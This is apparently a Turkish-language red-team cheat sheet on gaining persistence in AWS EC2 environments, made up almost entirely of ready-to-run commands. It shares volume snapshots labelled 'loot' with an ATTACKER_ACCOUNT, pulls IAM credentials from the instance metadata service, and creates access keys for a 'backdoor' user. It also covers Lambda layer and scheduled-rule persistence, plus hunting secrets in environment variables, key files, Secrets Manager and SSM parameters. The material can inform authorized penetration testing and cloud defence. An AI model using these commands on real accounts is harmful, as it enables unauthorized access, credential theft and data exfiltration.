AWS - EC2 Persistence
AWS kalıcılık
AWS - EC2 Persistence — AWS ortamında kalıcı erişim ve geri dönüş kanalları notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Mevcut erişim kanalını haritala (key, role, webhook, layer).
-
Düşük gürültülü backdoor yüzeyi seç (alias, trust, schedule).
-
Kalıcı kimlik veya tetikleyici yerleştir.
-
İkinci oturumdan erişimi doğrula.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
aws sts get-caller-identityaws configure listecho $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'Hedef komutlar
Section titled “Hedef komutlar”AWS - EC2 Persistence için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
aws ec2 create-snapshot --volume-id VOL --description lootaws ec2 modify-snapshot-attribute --snapshot-id SNAP --attribute createVolumePermission --operation-type add --user-ids ATTACKER_ACCOUNTaws ec2 create-volume --snapshot-id SNAP --availability-zone AZaws ec2 attach-volume --volume-id VOL --instance-id I --device /dev/sdfaws ssm start-session --target i-INSTANCEaws ec2-instance-connect send-ssh-public-key --instance-id i-ID --instance-os-user ubuntu --ssh-public-key file://id_rsa.pubaws ec2 describe-instance-attribute --instance-id i-ID --attribute userDatacurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds:21600')curl -sH "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PrivateIpAddress,IamInstanceProfile.Arn]' --output tableaws ec2 describe-security-groups --query 'SecurityGroups[].[GroupId,GroupName]' --output tableaws ec2 describe-snapshots --owner-ids self --query 'Snapshots[].SnapshotId'Kalıcılık / etki
Section titled “Kalıcılık / etki”Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.
aws iam create-access-key --user-name backdooraws lambda update-function-configuration --function-name FN --layers LAYER_ARNaws events put-rule --name persist --schedule-expression 'rate(6 hours)'Secret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40aws secretsmanager list-secretsaws ssm get-parameters-by-path --path / --recursive --with-decryptionRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt